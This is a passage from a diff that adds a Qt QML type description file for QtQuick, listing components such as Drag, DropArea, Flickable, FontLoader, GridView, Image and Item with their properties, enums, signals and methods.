exportMetaObjectRevisions: [0] + Property { name: "locale"; type: "string" } + Signal { name: "localeNameChanged" } + } + Component { + file: "private/qquickdrag_p.h" + name: "QQuickDrag" + prototype: "QObject" + exports: ["QtQuick/Drag 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickDragAttached" + Enum { + name: "DragType" + values: ["None", "Automatic", "Internal"] + } + Enum { + name: "Axis" + values: ["XAxis", "YAxis", "XAndYAxis", "XandYAxis"] + } + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "axis"; type: "Axis" } + Property { name: "minimumX"; type: "double" } + Property { name: "maximumX"; type: "double" } + Property { name: "minimumY"; type: "double" } + Property { name: "maximumY"; type: "double" } + Property { name: "active"; type: "bool"; isReadonly: true } + Property { name: "filterChildren"; type: "bool" } + Property { name: "smoothed"; type: "bool" } + Property { name: "threshold"; type: "double" } + } + Component { + file: "private/qquickdrag_p.h" + name: "QQuickDragAttached" + prototype: "QObject" + Property { name: "active"; type: "bool" } + Property { name: "source"; type: "QObject"; isPointer: true } + Property { name: "target"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "hotSpot"; type: "QPointF" } + Property { name: "imageSource"; type: "QUrl" } + Property { name: "keys"; type: "QStringList" } + Property { name: "mimeData"; type: "QVariantMap" } + Property { name: "supportedActions"; type: "Qt::DropActions" } + Property { name: "proposedAction"; type: "Qt::DropAction" } + Property { name: "dragType"; type: "QQuickDrag::DragType" } + Signal { name: "dragStarted" } + Signal { + name: "dragFinished" + Parameter { name: "dropAction"; type: "Qt::DropAction" } + } + Method { + name: "start" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "startDrag" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "cancel" } + Method { name: "drop"; type: "int" } + } + Component { + file: "private/qquickdragaxis_p.h" + name: "QQuickDragAxis" + prototype: "QObject" + exports: ["QtQuick/DragAxis 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + Property { name: "minimum"; type: "double" } + Property { name: "maximum"; type: "double" } + Property { name: "enabled"; type: "bool" } + } + Component { + file: "private/qquickdraghandler_p.h" + name: "QQuickDragHandler" + prototype: "QQuickMultiPointHandler" + exports: [ + "QtQuick/DragHandler 2.12", + "QtQuick/DragHandler 2.14", + "QtQuick/DragHandler 2.15" + ] + exportMetaObjectRevisions: [12, 14, 15] + Enum { + name: "SnapMode" + values: [ + "NoSnap", + "SnapAuto", + "SnapIfPressedOutsideTarget", + "SnapAlways" + ] + } + Property { name: "xAxis"; type: "QQuickDragAxis"; isReadonly: true; isPointer: true } + Property { name: "yAxis"; type: "QQuickDragAxis"; isReadonly: true; isPointer: true } + Property { name: "translation"; type: "QVector2D"; isReadonly: true } + Property { name: "snapMode"; revision: 14; type: "SnapMode" } + Signal { name: "snapModeChanged"; revision: 14 } + } + Component { + file: "private/qquickdroparea_p.h" + name: "QQuickDropArea" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/DropArea 2.0", + "QtQuick/DropArea 2.1", + "QtQuick/DropArea 2.11", + "QtQuick/DropArea 2.4", + "QtQuick/DropArea 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "containsDrag"; type: "bool"; isReadonly: true } + Property { name: "keys"; type: "QStringList" } + Property { name: "drag"; type: "QQuickDropAreaDrag"; isReadonly: true; isPointer: true } + Signal { name: "sourceChanged" } + Signal { + name: "entered" + Parameter { name: "drag"; type: "QQuickDropEvent"; isPointer: true } + } + Signal { name: "exited" } + Signal { + name: "positionChanged" + Parameter { name: "drag"; type: "QQuickDropEvent"; isPointer: true } + } + Signal { + name: "dropped" + Parameter { name: "drop"; type: "QQuickDropEvent"; isPointer: true } + } + } + Component { + file: "private/qquickdroparea_p.h" + name: "QQuickDropAreaDrag" + prototype: "QObject" + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "source"; type: "QObject"; isReadonly: true; isPointer: true } + Signal { name: "positionChanged" } + } + Component { + file: "private/qquickdroparea_p.h" + name: "QQuickDropEvent" + prototype: "QObject" + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "source"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "keys"; type: "QStringList"; isReadonly: true } + Property { name: "supportedActions"; type: "Qt::DropActions"; isReadonly: true } + Property { name: "proposedAction"; type: "Qt::DropActions"; isReadonly: true } + Property { name: "action"; type: "Qt::DropAction" } + Property { name: "accepted"; type: "bool" } + Property { name: "hasColor"; type: "bool"; isReadonly: true } + Property { name: "hasHtml"; type: "bool"; isReadonly: true } + Property { name: "hasText"; type: "bool"; isReadonly: true } + Property { name: "hasUrls"; type: "bool"; isReadonly: true } + Property { name: "colorData"; type: "QVariant"; isReadonly: true } + Property { name: "html"; type: "string"; isReadonly: true } + Property { name: "text"; type: "string"; isReadonly: true } + Property { name: "urls"; type: "QList"; isReadonly: true } + Property { name: "formats"; type: "QStringList"; isReadonly: true } + Method { + name: "getDataAsString" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "getDataAsArrayBuffer" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "acceptProposedAction" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "accept" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + } + Component { + file: "private/qquickitem_p.h" + name: "QQuickEnterKeyAttached" + prototype: "QObject" + exports: ["QtQuick/EnterKey 2.6"] + isCreatable: false + exportMetaObjectRevisions: [6] + attachedType: "QQuickEnterKeyAttached" + Property { name: "type"; type: "Qt::EnterKeyType" } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickEventPoint" + prototype: "QObject" + exports: ["QtQuick/EventPoint 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + Enum { + name: "States" + alias: "State" + isFlag: true + values: ["Pressed", "Updated", "Stationary", "Released"] + } + Enum { + name: "GrabTransition" + values: [ + "GrabPassive", + "UngrabPassive", + "CancelGrabPassive", + "OverrideGrabPassive", + "GrabExclusive", + "UngrabExclusive", + "CancelGrabExclusive" + ] + } + Property { name: "event"; type: "QQuickPointerEvent"; isReadonly: true; isPointer: true } + Property { name: "position"; type: "QPointF"; isReadonly: true } + Property { name: "scenePosition"; type: "QPointF"; isReadonly: true } + Property { name: "scenePressPosition"; type: "QPointF"; isReadonly: true } + Property { name: "sceneGrabPosition"; type: "QPointF"; isReadonly: true } + Property { name: "state"; type: "State"; isReadonly: true } + Property { name: "pointId"; type: "int"; isReadonly: true } + Property { name: "timeHeld"; type: "double"; isReadonly: true } + Property { name: "velocity"; type: "QVector2D"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + Property { name: "exclusiveGrabber"; type: "QObject"; isPointer: true } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickEventTabletPoint" + prototype: "QQuickEventPoint" + exports: ["QtQuick/EventTabletPoint 2.15"] + isCreatable: false + exportMetaObjectRevisions: [15] + Property { name: "rotation"; type: "double"; isReadonly: true } + Property { name: "pressure"; type: "double"; isReadonly: true } + Property { name: "tangentialPressure"; type: "double"; isReadonly: true } + Property { name: "tilt"; type: "QVector2D"; isReadonly: true } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickEventTouchPoint" + prototype: "QQuickEventPoint" + exports: ["QtQuick/EventTouchPoint 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + Property { name: "rotation"; type: "double"; isReadonly: true } + Property { name: "pressure"; type: "double"; isReadonly: true } + Property { name: "ellipseDiameters"; type: "QSizeF"; isReadonly: true } + Property { name: "uniqueId"; type: "QPointingDeviceUniqueId"; isReadonly: true } + } + Component { + file: "private/qquickflickable_p.h" + name: "QQuickFlickable" + defaultProperty: "flickableData" + prototype: "QQuickItem" + exports: [ + "QtQuick/Flickable 2.0", + "QtQuick/Flickable 2.1", + "QtQuick/Flickable 2.10", + "QtQuick/Flickable 2.11", + "QtQuick/Flickable 2.12", + "QtQuick/Flickable 2.4", + "QtQuick/Flickable 2.7", + "QtQuick/Flickable 2.9" + ] + exportMetaObjectRevisions: [0, 1, 10, 11, 12, 4, 7, 9] + Enum { + name: "BoundsBehavior" + alias: "BoundsBehaviorFlag" + isFlag: true + values: [ + "StopAtBounds", + "DragOverBounds", + "OvershootBounds", + "DragAndOvershootBounds" + ] + } + Enum { + name: "BoundsMovement" + values: ["FollowBoundsBehavior"] + } + Enum { + name: "FlickableDirection" + values: [ + "AutoFlickDirection", + "HorizontalFlick", + "VerticalFlick", + "HorizontalAndVerticalFlick", + "AutoFlickIfNeeded" + ] + } + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "contentX"; type: "double" } + Property { name: "contentY"; type: "double" } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "topMargin"; type: "double" } + Property { name: "bottomMargin"; type: "double" } + Property { name: "originY"; type: "double"; isReadonly: true } + Property { name: "leftMargin"; type: "double" } + Property { name: "rightMargin"; type: "double" } + Property { name: "originX"; type: "double"; isReadonly: true } + Property { name: "horizontalVelocity"; type: "double"; isReadonly: true } + Property { name: "verticalVelocity"; type: "double"; isReadonly: true } + Property { name: "boundsBehavior"; type: "BoundsBehavior" } + Property { name: "boundsMovement"; revision: 10; type: "BoundsMovement" } + Property { name: "rebound"; type: "QQuickTransition"; isPointer: true } + Property { name: "maximumFlickVelocity"; type: "double" } + Property { name: "flickDeceleration"; type: "double" } + Property { name: "moving"; type: "bool"; isReadonly: true } + Property { name: "movingHorizontally"; type: "bool"; isReadonly: true } + Property { name: "movingVertically"; type: "bool"; isReadonly: true } + Property { name: "flicking"; type: "bool"; isReadonly: true } + Property { name: "flickingHorizontally"; type: "bool"; isReadonly: true } + Property { name: "flickingVertically"; type: "bool"; isReadonly: true } + Property { name: "dragging"; type: "bool"; isReadonly: true } + Property { name: "draggingHorizontally"; type: "bool"; isReadonly: true } + Property { name: "draggingVertically"; type: "bool"; isReadonly: true } + Property { name: "flickableDirection"; type: "FlickableDirection" } + Property { name: "interactive"; type: "bool" } + Property { name: "pressDelay"; type: "int" } + Property { name: "atXEnd"; type: "bool"; isReadonly: true } + Property { name: "atYEnd"; type: "bool"; isReadonly: true } + Property { name: "atXBeginning"; type: "bool"; isReadonly: true } + Property { name: "atYBeginning"; type: "bool"; isReadonly: true } + Property { + name: "visibleArea" + type: "QQuickFlickableVisibleArea" + isReadonly: true + isPointer: true + } + Property { name: "pixelAligned"; type: "bool" } + Property { name: "synchronousDrag"; revision: 12; type: "bool" } + Property { name: "horizontalOvershoot"; revision: 9; type: "double"; isReadonly: true } + Property { name: "verticalOvershoot"; revision: 9; type: "double"; isReadonly: true } + Property { name: "flickableData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "flickableChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Signal { name: "isAtBoundaryChanged" } + Signal { name: "boundsMovementChanged"; revision: 10 } + Signal { name: "movementStarted" } + Signal { name: "movementEnded" } + Signal { name: "flickStarted" } + Signal { name: "flickEnded" } + Signal { name: "dragStarted" } + Signal { name: "dragEnded" } + Signal { name: "synchronousDragChanged"; revision: 12 } + Signal { name: "horizontalOvershootChanged"; revision: 9 } + Signal { name: "verticalOvershootChanged"; revision: 9 } + Method { name: "movementStarting" } + Method { name: "movementEnding" } + Method { + name: "movementEnding" + Parameter { name: "hMovementEnding"; type: "bool" } + Parameter { name: "vMovementEnding"; type: "bool" } + } + Method { name: "velocityTimelineCompleted" } + Method { name: "timelineCompleted" } + Method { + name: "resizeContent" + Parameter { name: "w"; type: "double" } + Parameter { name: "h"; type: "double" } + Parameter { name: "center"; type: "QPointF" } + } + Method { name: "returnToBounds" } + Method { + name: "flick" + Parameter { name: "xVelocity"; type: "double" } + Parameter { name: "yVelocity"; type: "double" } + } + Method { name: "cancelFlick" } + } + Component { + file: "private/qquickflickable_p_p.h" + name: "QQuickFlickableVisibleArea" + prototype: "QObject" + Property { name: "xPosition"; type: "double"; isReadonly: true } + Property { name: "yPosition"; type: "double"; isReadonly: true } + Property { name: "widthRatio"; type: "double"; isReadonly: true } + Property { name: "heightRatio"; type: "double"; isReadonly: true } + Signal { + name: "xPositionChanged" + Parameter { name: "xPosition"; type: "double" } + } + Signal { + name: "yPositionChanged" + Parameter { name: "yPosition"; type: "double" } + } + Signal { + name: "widthRatioChanged" + Parameter { name: "widthRatio"; type: "double" } + } + Signal { + name: "heightRatioChanged" + Parameter { name: "heightRatio"; type: "double" } + } + } + Component { + file: "private/qquickflipable_p.h" + name: "QQuickFlipable" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/Flipable 2.0", + "QtQuick/Flipable 2.1", + "QtQuick/Flipable 2.11", + "QtQuick/Flipable 2.4", + "QtQuick/Flipable 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Side" + values: ["Front", "Back"] + } + Property { name: "front"; type: "QQuickItem"; isPointer: true } + Property { name: "back"; type: "QQuickItem"; isPointer: true } + Property { name: "side"; type: "Side"; isReadonly: true } + Method { name: "retransformBack" } + } + Component { + file: "private/qquickpositioners_p.h" + name: "QQuickFlow" + prototype: "QQuickBasePositioner" + exports: [ + "QtQuick/Flow 2.0", + "QtQuick/Flow 2.1", + "QtQuick/Flow 2.11", + "QtQuick/Flow 2.4", + "QtQuick/Flow 2.6", + "QtQuick/Flow 2.7", + "QtQuick/Flow 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + Enum { + name: "Flow" + values: ["LeftToRight", "TopToBottom"] + } + Property { name: "flow"; type: "Flow" } + Property { name: "layoutDirection"; type: "Qt::LayoutDirection" } + Property { name: "effectiveLayoutDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + } + Component { + file: "private/qquickfocusscope_p.h" + name: "QQuickFocusScope" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/FocusScope 2.0", + "QtQuick/FocusScope 2.1", + "QtQuick/FocusScope 2.11", + "QtQuick/FocusScope 2.4", + "QtQuick/FocusScope 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + } + Component { + file: "private/qquickfontloader_p.h" + name: "QQuickFontLoader" + prototype: "QObject" + exports: ["QtQuick/FontLoader 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: ["Null", "Ready", "Loading", "Error"] + } + Property { name: "source"; type: "QUrl" } + Property { name: "name"; type: "string" } + Property { name: "status"; type: "Status"; isReadonly: true } + Method { + name: "updateFontInfo" + Parameter { type: "string" } + Parameter { type: "QQuickFontLoader::Status" } + } + } + Component { + file: "private/qquickfontmetrics_p.h" + name: "QQuickFontMetrics" + prototype: "QObject" + exports: ["QtQuick/FontMetrics 2.4"] + exportMetaObjectRevisions: [4] + Property { name: "font"; type: "QFont" } + Property { name: "ascent"; type: "double"; isReadonly: true } + Property { name: "descent"; type: "double"; isReadonly: true } + Property { name: "height"; type: "double"; isReadonly: true } + Property { name: "leading"; type: "double"; isReadonly: true } + Property { name: "lineSpacing"; type: "double"; isReadonly: true } + Property { name: "minimumLeftBearing"; type: "double"; isReadonly: true } + Property { name: "minimumRightBearing"; type: "double"; isReadonly: true } + Property { name: "maximumCharacterWidth"; type: "double"; isReadonly: true } + Property { name: "xHeight"; type: "double"; isReadonly: true } + Property { name: "averageCharacterWidth"; type: "double"; isReadonly: true } + Property { name: "underlinePosition"; type: "double"; isReadonly: true } + Property { name: "overlinePosition"; type: "double"; isReadonly: true } + Property { name: "strikeOutPosition"; type: "double"; isReadonly: true } + Property { name: "lineWidth"; type: "double"; isReadonly: true } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Method { + name: "advanceWidth" + type: "double" + Parameter { name: "text"; type: "string" } + } + Method { + name: "boundingRect" + type: "QRectF" + Parameter { name: "text"; type: "string" } + } + Method { + name: "tightBoundingRect" + type: "QRectF" + Parameter { name: "text"; type: "string" } + } + Method { + name: "elidedText" + type: "string" + Parameter { name: "text"; type: "string" } + Parameter { name: "mode"; type: "Qt::TextElideMode" } + Parameter { name: "width"; type: "double" } + Parameter { name: "flags"; type: "int" } + } + Method { + name: "elidedText" + type: "string" + Parameter { name: "text"; type: "string" } + Parameter { name: "mode"; type: "Qt::TextElideMode" } + Parameter { name: "width"; type: "double" } + } + } + Component { + file: "private/qquickvaluetypes_p.h" + name: "QQuickFontValueType" + exports: ["QtQuick/Font 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "FontWeight" + values: [ + "Thin", + "ExtraLight", + "Light", + "Normal", + "Medium", + "DemiBold", + "Bold", + "ExtraBold", + "Black" + ] + } + Enum { + name: "Capitalization" + values: [ + "MixedCase", + "AllUppercase", + "AllLowercase", + "SmallCaps", + "Capitalize" + ] + } + Enum { + name: "HintingPreference" + values: [ + "PreferDefaultHinting", + "PreferNoHinting", + "PreferVerticalHinting", + "PreferFullHinting" + ] + } + Property { name: "family"; type: "string" } + Property { name: "styleName"; type: "string" } + Property { name: "bold"; type: "bool" } + Property { name: "weight"; type: "FontWeight" } + Property { name: "italic"; type: "bool" } + Property { name: "underline"; type: "bool" } + Property { name: "overline"; type: "bool" } + Property { name: "strikeout"; type: "bool" } + Property { name: "pointSize"; type: "double" } + Property { name: "pixelSize"; type: "int" } + Property { name: "capitalization"; type: "Capitalization" } + Property { name: "letterSpacing"; type: "double" } + Property { name: "wordSpacing"; type: "double" } + Property { name: "hintingPreference"; type: "HintingPreference" } + Property { name: "kerning"; type: "bool" } + Property { name: "preferShaping"; type: "bool" } + Method { name: "toString"; type: "string" } + } + Component { + file: "private/qquickmultipointtoucharea_p.h" + name: "QQuickGrabGestureEvent" + prototype: "QObject" + exports: ["QtQuick/GestureEvent 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "touchPoints"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "dragThreshold"; type: "double"; isReadonly: true } + Method { name: "grab" } + } + Component { + file: "private/qquickrectangle_p.h" + name: "QQuickGradient" + defaultProperty: "stops" + prototype: "QObject" + exports: ["QtQuick/Gradient 2.0", "QtQuick/Gradient 2.12"] + exportMetaObjectRevisions: [0, 12] + Enum { + name: "Orientation" + values: ["Vertical", "Horizontal"] + } + Property { name: "stops"; type: "QQuickGradientStop"; isList: true; isReadonly: true } + Property { name: "orientation"; revision: 12; type: "Orientation" } + Signal { name: "updated" } + } + Component { + file: "private/qquickrectangle_p.h" + name: "QQuickGradientStop" + prototype: "QObject" + exports: ["QtQuick/GradientStop 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "position"; type: "double" } + Property { name: "color"; type: "QColor" } + } + Component { + file: "private/qquickgraphicsinfo_p.h" + name: "QQuickGraphicsInfo" + prototype: "QObject" + exports: ["QtQuick/GraphicsInfo 2.8"] + isCreatable: false + exportMetaObjectRevisions: [8] + attachedType: "QQuickGraphicsInfo" + Enum { + name: "GraphicsApi" + values: [ + "Unknown", + "Software", + "OpenGL", + "Direct3D12", + "OpenVG", + "OpenGLRhi", + "Direct3D11Rhi", + "VulkanRhi", + "MetalRhi", + "NullRhi" + ] + } + Enum { + name: "ShaderType" + values: ["UnknownShadingLanguage", "GLSL", "HLSL", "RhiShader"] + } + Enum { + name: "ShaderCompilationType" + values: ["RuntimeCompilation", "OfflineCompilation"] + } + Enum { + name: "ShaderSourceType" + values: [ + "ShaderSourceString", + "ShaderSourceFile", + "ShaderByteCode" + ] + } + Enum { + name: "OpenGLContextProfile" + values: [ + "OpenGLNoProfile", + "OpenGLCoreProfile", + "OpenGLCompatibilityProfile" + ] + } + Enum { + name: "RenderableType" + values: [ + "SurfaceFormatUnspecified", + "SurfaceFormatOpenGL", + "SurfaceFormatOpenGLES" + ] + } + Property { name: "api"; type: "GraphicsApi"; isReadonly: true } + Property { name: "shaderType"; type: "ShaderType"; isReadonly: true } + Property { name: "shaderCompilationType"; type: "ShaderCompilationType"; isReadonly: true } + Property { name: "shaderSourceType"; type: "ShaderSourceType"; isReadonly: true } + Property { name: "majorVersion"; type: "int"; isReadonly: true } + Property { name: "minorVersion"; type: "int"; isReadonly: true } + Property { name: "profile"; type: "OpenGLContextProfile"; isReadonly: true } + Property { name: "renderableType"; type: "RenderableType"; isReadonly: true } + Method { name: "updateInfo" } + Method { + name: "setWindow" + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + } + Component { + file: "private/qquickpositioners_p.h" + name: "QQuickGrid" + prototype: "QQuickBasePositioner" + exports: [ + "QtQuick/Grid 2.0", + "QtQuick/Grid 2.1", + "QtQuick/Grid 2.11", + "QtQuick/Grid 2.4", + "QtQuick/Grid 2.6", + "QtQuick/Grid 2.7", + "QtQuick/Grid 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + Enum { + name: "Flow" + values: ["LeftToRight", "TopToBottom"] + } + Enum { + name: "HAlignment" + values: ["AlignLeft", "AlignRight", "AlignHCenter"] + } + Enum { + name: "VAlignment" + values: ["AlignTop", "AlignBottom", "AlignVCenter"] + } + Property { name: "rows"; type: "int" } + Property { name: "columns"; type: "int" } + Property { name: "rowSpacing"; type: "double" } + Property { name: "columnSpacing"; type: "double" } + Property { name: "flow"; type: "Flow" } + Property { name: "layoutDirection"; type: "Qt::LayoutDirection" } + Property { name: "effectiveLayoutDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + Property { name: "horizontalItemAlignment"; revision: 1; type: "HAlignment" } + Property { + name: "effectiveHorizontalItemAlignment" + revision: 1 + type: "HAlignment" + isReadonly: true + } + Property { name: "verticalItemAlignment"; revision: 1; type: "VAlignment" } + Signal { + name: "horizontalAlignmentChanged" + revision: 1 + Parameter { name: "alignment"; type: "HAlignment" } + } + Signal { + name: "effectiveHorizontalAlignmentChanged" + revision: 1 + Parameter { name: "alignment"; type: "HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + revision: 1 + Parameter { name: "alignment"; type: "VAlignment" } + } + } + Component { + file: "private/qquickshadereffectmesh_p.h" + name: "QQuickGridMesh" + prototype: "QQuickShaderEffectMesh" + exports: ["QtQuick/GridMesh 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "resolution"; type: "QSize" } + } + Component { + file: "private/qquickgridview_p.h" + name: "QQuickGridView" + defaultProperty: "data" + prototype: "QQuickItemView" + exports: [ + "QtQuick/GridView 2.0", + "QtQuick/GridView 2.1", + "QtQuick/GridView 2.10", + "QtQuick/GridView 2.11", + "QtQuick/GridView 2.12", + "QtQuick/GridView 2.13", + "QtQuick/GridView 2.15", + "QtQuick/GridView 2.3", + "QtQuick/GridView 2.4", + "QtQuick/GridView 2.7", + "QtQuick/GridView 2.9" + ] + exportMetaObjectRevisions: [0, 1, 10, 11, 12, 13, 15, 3, 4, 7, 9] + attachedType: "QQuickGridViewAttached" + Enum { + name: "Flow" + values: ["FlowLeftToRight", "FlowTopToBottom"] + } + Enum { + name: "SnapMode" + values: ["NoSnap", "SnapToRow", "SnapOneRow"] + } + Property { name: "flow"; type: "Flow" } + Property { name: "cellWidth"; type: "double" } + Property { name: "cellHeight"; type: "double" } + Property { name: "snapMode"; type: "SnapMode" } + Signal { name: "highlightMoveDurationChanged" } + Method { name: "moveCurrentIndexUp" } + Method { name: "moveCurrentIndexDown" } + Method { name: "moveCurrentIndexLeft" } + Method { name: "moveCurrentIndexRight" } + } + Component { name: "QQuickGridViewAttached"; prototype: "QQuickItemViewAttached" } + Component { + file: "private/qquickhoverhandler_p.h" + name: "QQuickHoverHandler" + prototype: "QQuickSinglePointHandler" + exports: ["QtQuick/HoverHandler 2.12", "QtQuick/HoverHandler 2.15"] + exportMetaObjectRevisions: [12, 15] + Property { name: "hovered"; type: "bool"; isReadonly: true } + } + Component { + file: "private/qquickimage_p.h" + name: "QQuickImage" + prototype: "QQuickImageBase" + exports: [ + "QtQuick/Image 2.0", + "QtQuick/Image 2.1", + "QtQuick/Image 2.11", + "QtQuick/Image 2.14", + "QtQuick/Image 2.15", + "QtQuick/Image 2.3", + "QtQuick/Image 2.4", + "QtQuick/Image 2.5", + "QtQuick/Image 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 14, 15, 3, 4, 5, 7] + Enum { + name: "HAlignment" + values: ["AlignLeft", "AlignRight", "AlignHCenter"] + } + Enum { + name: "VAlignment" + values: ["AlignTop", "AlignBottom", "AlignVCenter"] + } + Enum { + name: "FillMode" + values: [ + "Stretch", + "PreserveAspectFit", + "PreserveAspectCrop", + "Tile", + "TileVertically", + "TileHorizontally", + "Pad" + ] + } + Property { name: "fillMode"; type: "FillMode" } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "mipmap"; revision: 3; type: "bool" } + Property { name: "autoTransform"; revision: 5; type: "bool" } + Property { name: "sourceClipRect"; revision: 15; type: "QRectF" } + Signal { name: "paintedGeometryChanged" } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "VAlignment" } + } + Signal { + name: "mipmapChanged" + revision: 3 + Parameter { type: "bool" } + } + Signal { name: "autoTransformChanged"; revision: 5 } + Method { name: "invalidateSceneGraph" } + } + Component { + file: "private/qquickimagebase_p.h" + name: "QQuickImageBase" + prototype: "QQuickImplicitSizeItem" + exports: ["QtQuick/ImageBase 2.14", "QtQuick/ImageBase 2.15"] + isCreatable: false + exportMetaObjectRevisions: [14, 15] + Enum { + name: "LoadPixmapOptions" + alias: "LoadPixmapOption" + isFlag: true + values: ["NoOption", "HandleDPR", "UseProviderOptions"] + } + Enum { + name: "Status" + values: ["Null", "Ready", "Loading", "Error"] + } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "source"; type: "QUrl" } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "asynchronous"; type: "bool" } + Property { name: "cache"; type: "bool" } + Property { name: "sourceSize"; type: "QSize" } + Property { name: "mirror"; type: "bool" } + Property { name: "currentFrame"; revision: 14; type: "int" } + Property { name: "frameCount"; revision: 14; type: "int"; isReadonly: true } + Property { name: "colorSpace"; revision: 15; type: "QColorSpace" } + Signal { + name: "sourceChanged" + Parameter { type: "QUrl" } + } + Signal { + name: "statusChanged" + Parameter { type: "QQuickImageBase::Status" } + } + Signal { + name: "progressChanged" + Parameter { name: "progress"; type: "double" } + } + Signal { name: "currentFrameChanged"; revision: 14 } + Signal { name: "frameCountChanged"; revision: 14 } + Signal { name: "sourceClipRectChanged"; revision: 15 } + Signal { name: "colorSpaceChanged"; revision: 15 } + Method { name: "requestFinished" } + Method { + name: "requestProgress" + Parameter { type: "qlonglong" } + Parameter { type: "qlonglong" } + } + } + Component { + file: "qquickitem.h" + name: "QQuickImplicitSizeItem" + defaultProperty: "data" + prototype: "QQuickItem" + Property { name: "implicitWidth"; type: "double"; isReadonly: true } + Property { name: "implicitHeight"; type: "double"; isReadonly: true } + } + Component { + file: "private/qquickvalidator_p.h" + name: "QQuickIntValidator" + prototype: "QIntValidator" + exports: ["QtQuick/IntValidator 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "locale"; type: "string" } + Signal { name: "localeNameChanged" } + } + Component { + file: "qquickitem.h" + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + exports: [ + "QtQuick/Item 2.0", + "QtQuick/Item 2.1", + "QtQuick/Item 2.11", + "QtQuick/Item 2.4", + "QtQuick/Item 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Flags" + alias: "Flag" + isFlag: true + values: [ + "ItemClipsChildrenToShape", + "ItemAcceptsInputMethod", + "ItemIsFocusScope", + "ItemHasContents", + "ItemAcceptsDrops" + ] + } + Enum { + name: "TransformOrigin" + values: [ + "TopLeft", + "Top", + "TopRight", + "Left", + "Center", + "Right", + "BottomLeft", + "Bottom", + "BottomRight" + ] + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { 